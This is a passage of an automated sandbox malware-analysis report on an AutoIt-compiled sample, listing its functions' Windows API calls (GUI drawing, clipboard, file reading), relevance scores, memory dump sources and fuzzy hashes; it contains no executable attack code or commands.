                                                                                                                                                  • GetDC.USER32(?), ref: 004598DE
                                                                                                                                                  • SelectObject.GDI32(00000000,?), ref: 004598EE
                                                                                                                                                  • SelectObject.GDI32(00000000,?), ref: 00459919
                                                                                                                                                  • ReleaseDC.USER32(?,00000000), ref: 00459925
                                                                                                                                                  • MoveWindow.USER32(?,0000000B,?,?,?,00000001), ref: 00459943
                                                                                                                                                  • ShowWindow.USER32(?,00000004,?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 00459951
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$Create$Object$Global$Rect$DeleteFileSelect$MessageSendShow$AdjustAllocCapsClientCloseCopyDesktopDestroyDeviceFaceFontFreeHandleImageLoadLockMovePictureReadReleaseSizeStockStreamTextUnlock_wcscpy_wcslen
                                                                                                                                                  • String ID: $@U=u$AutoIt v3$DISPLAY$static
                                                                                                                                                  • API String ID: 4040870279-3613752883
                                                                                                                                                  • Opcode ID: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                                                                                                                                                  • Instruction ID: fce7466cc8f2b4b34a2e278d60cb4f704f90ff1017bfb666dbfc83d8aba9d67a
                                                                                                                                                  • Opcode Fuzzy Hash: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                                                                                                                                                  • Instruction Fuzzy Hash: 3F028C70204301EFD714DF64DE89F2BB7A8AB84705F104A2DFA45AB2D2D7B4E805CB69
                                                                                                                                                  Function 00433D5C Relevance: 50.9, APIs: 28, Strings: 1, Instructions: 198windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetSysColor.USER32(0000000E), ref: 00433D81
                                                                                                                                                  • SetTextColor.GDI32(?,00000000), ref: 00433D89
                                                                                                                                                  • GetSysColor.USER32(00000012), ref: 00433DA3
                                                                                                                                                  • SetTextColor.GDI32(?,?), ref: 00433DAB
                                                                                                                                                  • GetSysColorBrush.USER32(0000000F), ref: 00433DBF
                                                                                                                                                  • GetSysColor.USER32(0000000F), ref: 00433DCB
                                                                                                                                                  • CreateSolidBrush.GDI32(?), ref: 00433DD4
                                                                                                                                                  • GetSysColor.USER32(00000011), ref: 00433DEB
                                                                                                                                                  • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00433DFD
                                                                                                                                                  • SelectObject.GDI32(?,00000000), ref: 00433E0D
                                                                                                                                                  • SetBkColor.GDI32(?,?), ref: 00433E19
                                                                                                                                                  • SelectObject.GDI32(?,?), ref: 00433E29
                                                                                                                                                  • InflateRect.USER32(?,000000FF,000000FF), ref: 00433E54
                                                                                                                                                  • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00433E73
                                                                                                                                                  • GetWindowLongW.USER32 ref: 00433E8A
                                                                                                                                                  • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00433EAC
                                                                                                                                                  • GetWindowTextW.USER32(00000000,00000000,00000105), ref: 00433EE1
                                                                                                                                                  • InflateRect.USER32(?,000000FD,000000FD), ref: 00433F13
                                                                                                                                                  • DrawFocusRect.USER32(?,?), ref: 00433F1F
                                                                                                                                                  • GetSysColor.USER32(00000011), ref: 00433F2E
                                                                                                                                                  • SetTextColor.GDI32(?,00000000), ref: 00433F36
                                                                                                                                                  • DrawTextW.USER32(?,?,000000FF,?,?), ref: 00433F4E
                                                                                                                                                  • SelectObject.GDI32(?,?), ref: 00433F63
                                                                                                                                                  • DeleteObject.GDI32(?), ref: 00433F70
                                                                                                                                                  • SelectObject.GDI32(?,?), ref: 00433F78
                                                                                                                                                  • DeleteObject.GDI32(00000000), ref: 00433F7B
                                                                                                                                                  • SetTextColor.GDI32(?,?), ref: 00433F83
                                                                                                                                                  • SetBkColor.GDI32(?,?), ref: 00433F8F
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Color$ObjectText$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 1582027408-2594219639
                                                                                                                                                  • Opcode ID: 0b51a09b4c85f12ae70b13129e7bad5c5e259c1925df30aaa8741127af755d25
                                                                                                                                                  • Instruction ID: aa454ab644ffbff4d2185aee23397a25bdbdaef3ad5a75b83a3ebbbeed3afe32
                                                                                                                                                  • Opcode Fuzzy Hash: 0b51a09b4c85f12ae70b13129e7bad5c5e259c1925df30aaa8741127af755d25
                                                                                                                                                  • Instruction Fuzzy Hash: 53710570508340AFD304DF68DD88A6FBBF9FF89711F104A2DFA5592290D7B4E9418B6A
                                                                                                                                                  Function 0046C604 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 216clipboardCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • OpenClipboard.USER32(?), ref: 0046C635
                                                                                                                                                  • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                                                                                                                                                  • GetClipboardData.USER32(0000000D), ref: 0046C64F
                                                                                                                                                  • CloseClipboard.USER32 ref: 0046C65D
                                                                                                                                                  • GlobalLock.KERNEL32(00000000), ref: 0046C688
                                                                                                                                                  • CloseClipboard.USER32 ref: 0046C692
                                                                                                                                                  • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                                                                                                                                                  • GetClipboardData.USER32(00000001), ref: 0046C6DD
                                                                                                                                                  • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                                                                                                                                                  • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                                                                                                                                                  • CloseClipboard.USER32 ref: 0046C866
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                                                                                                                                                  • String ID: HH
                                                                                                                                                  • API String ID: 589737431-2761332787
                                                                                                                                                  • Opcode ID: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                                                                                                                                                  • Instruction ID: ccec0c76267f611a980a6192e38ed766f4c6ddce8b7f15b38bc446a2cb1d96e7
                                                                                                                                                  • Opcode Fuzzy Hash: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                                                                                                                                                  • Instruction Fuzzy Hash: 4D61E5722003019BD310EF65DD86B5E77A8EF54715F00483EFA41E72D1EBB5D9048BAA
                                                                                                                                                  Function 0045657D Relevance: 38.8, APIs: 19, Strings: 3, Instructions: 287windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetCursorPos.USER32(?), ref: 00456692
                                                                                                                                                  • GetDesktopWindow.USER32 ref: 004566AA
                                                                                                                                                  • GetWindowRect.USER32(00000000), ref: 004566B1
                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 0045670D
                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 00456720
                                                                                                                                                  • DestroyWindow.USER32(?), ref: 00456731
                                                                                                                                                  • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00456779
                                                                                                                                                  • SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 00456797
                                                                                                                                                  • SendMessageW.USER32(?,00000439,00000000,0000002C), ref: 004567C0
                                                                                                                                                  • SendMessageW.USER32(?,00000421,?,?), ref: 004567D8
                                                                                                                                                  • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 004567EE
                                                                                                                                                  • IsWindowVisible.USER32(?), ref: 00456812
                                                                                                                                                  • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 0045682E
                                                                                                                                                  • SendMessageW.USER32(?,00000411,00000001,0000002C), ref: 00456843
                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 0045685C
                                                                                                                                                  • MonitorFromPoint.USER32(?,?,00000002), ref: 00456880
                                                                                                                                                  • GetMonitorInfoW.USER32 ref: 00456894
                                                                                                                                                  • CopyRect.USER32(?,?), ref: 004568A8
                                                                                                                                                  • SendMessageW.USER32(?,00000412,00000000), ref: 0045690A
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window$MessageSend$Rect$LongMonitor$CopyCreateCursorDesktopDestroyFromInfoPointVisible
                                                                                                                                                  • String ID: ($,$tooltips_class32
                                                                                                                                                  • API String ID: 541082891-3320066284
                                                                                                                                                  • Opcode ID: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                                                                                                                                                  • Instruction ID: 3987ef5f26dee50c6234681dd74380f3ee0746d74ffcadc96223edc745891050
                                                                                                                                                  • Opcode Fuzzy Hash: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                                                                                                                                                  • Instruction Fuzzy Hash: 33B18EB0604341AFD714DF64C984B6BB7E5EF88704F408D2DF989A7292D778E848CB5A
                                                                                                                                                  Function 0044A0EA Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 196windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetSysColor.USER32 ref: 0044A11D
                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 0044A18D
                                                                                                                                                  • SendMessageW.USER32(?,00001328,00000000,?), ref: 0044A1A6
                                                                                                                                                  • GetWindowDC.USER32(?), ref: 0044A1B3
                                                                                                                                                  • GetPixel.GDI32(00000000,?,?), ref: 0044A1C6
                                                                                                                                                  • ReleaseDC.USER32(?,00000000), ref: 0044A1D6
                                                                                                                                                  • GetSysColor.USER32(0000000F), ref: 0044A1EC
                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 0044A207
                                                                                                                                                  • GetSysColor.USER32(0000000F), ref: 0044A216
                                                                                                                                                  • GetSysColor.USER32(00000005), ref: 0044A21E
                                                                                                                                                  • GetWindowDC.USER32 ref: 0044A277
                                                                                                                                                  • GetPixel.GDI32(00000000,00000000,00000000), ref: 0044A28A
                                                                                                                                                  • GetPixel.GDI32(00000000,?,00000000), ref: 0044A29F
                                                                                                                                                  • GetPixel.GDI32(00000000,00000000,?), ref: 0044A2B4
                                                                                                                                                  • GetPixel.GDI32(00000000,?,?), ref: 0044A2D0
                                                                                                                                                  • ReleaseDC.USER32(?,00000000), ref: 0044A2D8
                                                                                                                                                  • SetTextColor.GDI32(00000000,?), ref: 0044A2F6
                                                                                                                                                  • SetBkMode.GDI32(00000000,00000001), ref: 0044A30A
                                                                                                                                                  • GetStockObject.GDI32(00000005), ref: 0044A312
                                                                                                                                                  • SetBkColor.GDI32(00000000,00000000), ref: 0044A328
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Color$Pixel$Window$Release$ClientLongMessageModeObjectRectSendStockText
                                                                                                                                                  • String ID: @U=u
                                                                                                                                                  • API String ID: 1744303182-2594219639
                                                                                                                                                  • Opcode ID: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                                                                                                                                                  • Instruction ID: f407f88e1fc9bdd08975b2e96734b256c85d8f08b0ead5e1f8dbf5832e348edb
                                                                                                                                                  • Opcode Fuzzy Hash: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                                                                                                                                                  • Instruction Fuzzy Hash: AD6148315442016BE3209B388C88BBFB7A4FB49324F54079EF9A8973D0D7B99C51D76A
                                                                                                                                                  Function 004559A8 Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 401COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID:
                                                                                                                                                  • String ID: 0$@U=u
                                                                                                                                                  • API String ID: 0-975001249
                                                                                                                                                  • Opcode ID: 0476511f06c615c4519fb5d0bdcf97e6c9114ef5bab3d74fcb2069946f87bde7
                                                                                                                                                  • Instruction ID: a4e6889c8706d2a682ad3cc8acca51b009283e1ae9b51da70db0806919efebf9
                                                                                                                                                  • Opcode Fuzzy Hash: 0476511f06c615c4519fb5d0bdcf97e6c9114ef5bab3d74fcb2069946f87bde7
                                                                                                                                                  • Instruction Fuzzy Hash: 95C104723403416BF3209B64DC46FBBB794EB95321F04453FFA45D62C1EBBA9409876A
                                                                                                                                                  Function 004700B0 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 285windowtimeCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 004701EA
                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 004701FA
                                                                                                                                                  • GetSystemMetrics.USER32(00000007), ref: 00470202
                                                                                                                                                  • GetSystemMetrics.USER32(00000008), ref: 00470216
                                                                                                                                                  • GetSystemMetrics.USER32(00000004), ref: 00470238
                                                                                                                                                  • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0047026B
                                                                                                                                                  • GetSystemMetrics.USER32(00000007), ref: 00470273
                                                                                                                                                  • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004702A0
                                                                                                                                                  • GetSystemMetrics.USER32(00000008), ref: 004702A8
                                                                                                                                                  • GetSystemMetrics.USER32(00000004), ref: 004702CF
                                                                                                                                                  • SetRect.USER32(?,00000000,00000000,?,?), ref: 004702F1
                                                                                                                                                  • AdjustWindowRectEx.USER32(?,?,00000000,000000FF), ref: 00470304
                                                                                                                                                  • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,?,?,?,?,00000000,00400000,00000000), ref: 0047033E
                                                                                                                                                  • SetWindowLongW.USER32(00000000,000000EB,?), ref: 00470356
                                                                                                                                                  • GetClientRect.USER32(?,?), ref: 00470371
                                                                                                                                                  • GetStockObject.GDI32(00000011), ref: 00470391
                                                                                                                                                  • SendMessageW.USER32(?,00000030,00000000), ref: 0047039D
                                                                                                                                                  • SetTimer.USER32(00000000,00000000,00000028,Function_00061E7F), ref: 004703C4
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: System$Metrics$Rect$Window$ClientInfoParameters$AdjustCreateLongMessageObjectSendStockTimer_malloc
                                                                                                                                                  • String ID: @U=u$AutoIt v3 GUI
                                                                                                                                                  • API String ID: 867697134-2077007950
                                                                                                                                                  • Opcode ID: 2f3c1093d205cc919e8fce6edce52452572e464071e7d7185a704cd66ddcb838
                                                                                                                                                  • Instruction ID: 96ed3905d942d8c5c267f8207effb08aff50268186fc7250a269a1908d1679c9
                                                                                                                                                  • Opcode Fuzzy Hash: 2f3c1093d205cc919e8fce6edce52452572e464071e7d7185a704cd66ddcb838
                                                                                                                                                  • Instruction Fuzzy Hash: 27B19F71205301AFD324DF68DD45B6BB7E4FB88710F108A2EFA9587290DBB5E844CB5A
                                                                                                                                                  Function 00436B3A Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 190COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetFileVersionInfoSizeW.VERSION(?,?), ref: 00436B4E
                                                                                                                                                  • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000), ref: 00436B73
                                                                                                                                                  • _wcslen.LIBCMT ref: 00436B79
                                                                                                                                                  • _wcscpy.LIBCMT ref: 00436B9F
                                                                                                                                                  • _wcscat.LIBCMT ref: 00436BC0
                                                                                                                                                  • VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00436BE7
                                                                                                                                                  • _wcscat.LIBCMT ref: 00436C2A
                                                                                                                                                  • _wcscat.LIBCMT ref: 00436C31
                                                                                                                                                  • __wcsicoll.LIBCMT ref: 00436C4B
                                                                                                                                                  • _wcsncpy.LIBCMT ref: 00436C62
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _wcscat$FileInfoVersion$QuerySizeValue__wcsicoll_wcscpy_wcslen_wcsncpy
                                                                                                                                                  • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                                                                                                                  • API String ID: 1503153545-1459072770
                                                                                                                                                  • Opcode ID: 008cb01cbb675dac6eb9866d49a054c7095339c3b591b4350c6f773ace1c370f
                                                                                                                                                  • Instruction ID: f4118b49cd66f9fee818cdfc0bae26735a4a754b0a3131160812af9443992caa
                                                                                                                                                  • Opcode Fuzzy Hash: 008cb01cbb675dac6eb9866d49a054c7095339c3b591b4350c6f773ace1c370f
                                                                                                                                                  • Instruction Fuzzy Hash: B54115B264020137D200B7269C83EFF735CDE99715F54091FFE45A2253FA2EA69642BE
                                                                                                                                                  Function 00452788 Relevance: 34.8, APIs: 23, Instructions: 344COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 004431E0: __time64.LIBCMT ref: 004431EA
                                                                                                                                                  • _fseek.LIBCMT ref: 004527FC
                                                                                                                                                  • __wsplitpath.LIBCMT ref: 0045285C
                                                                                                                                                  • _wcscpy.LIBCMT ref: 00452871
                                                                                                                                                  • _wcscat.LIBCMT ref: 00452886
                                                                                                                                                  • __wsplitpath.LIBCMT ref: 004528B0
                                                                                                                                                  • _wcscat.LIBCMT ref: 004528C8
                                                                                                                                                  • _wcscat.LIBCMT ref: 004528DD
                                                                                                                                                  • __fread_nolock.LIBCMT ref: 00452914
                                                                                                                                                  • __fread_nolock.LIBCMT ref: 00452925
                                                                                                                                                  • __fread_nolock.LIBCMT ref: 00452944
                                                                                                                                                  • __fread_nolock.LIBCMT ref: 00452955
                                                                                                                                                  • __fread_nolock.LIBCMT ref: 00452976
                                                                                                                                                  • __fread_nolock.LIBCMT ref: 00452987
                                                                                                                                                  • __fread_nolock.LIBCMT ref: 00452998
                                                                                                                                                  • __fread_nolock.LIBCMT ref: 004529A9
                                                                                                                                                    • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                                                                                                    • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                                                                                                    • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                                                                                                    • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                                                                                                    • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                                                                                                    • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                                                                                                    • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                                                                                                  • __fread_nolock.LIBCMT ref: 00452A39
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __fread_nolock$_wcscat_wcscpy$__wsplitpath$__time64_fseek
                                                                                                                                                  • String ID:
                                                                                                                                                  • API String ID: 2054058615-0
                                                                                                                                                  • Opcode ID: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                                                                                                                                                  • Instruction ID: 66779ec6e5012556871fefb3c18d5d4f0449fb8b445ab61f685bb60241e2a5ae
                                                                                                                                                  • Opcode Fuzzy Hash: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                                                                                                                                                  • Instruction Fuzzy Hash: 16C14EB2508340ABD320DF65C881EEBB7E8EFC9714F444D2FF68987241E6799544CBA6
                                                                                                                                                  Function 00448759 Relevance: 33.6, APIs: 17, Strings: 2, Instructions: 311COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • SetWindowPos.USER32(004A83D8,00000000,00000000,00000000,00000000,00000000,00000013,004A83D8,?,?), ref: 0044880A
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Window
                                                                                                                                                  • String ID: 0$@U=u
                                                                                                                                                  • API String ID: 2353593579-975001249
                                                                                                                                                  • Opcode ID: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                                                                                                                                                  • Instruction ID: 13976ff69904029c6bcd7d6129a783336058688c161485e0dcc644b2654616cc
                                                                                                                                                  • Opcode Fuzzy Hash: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
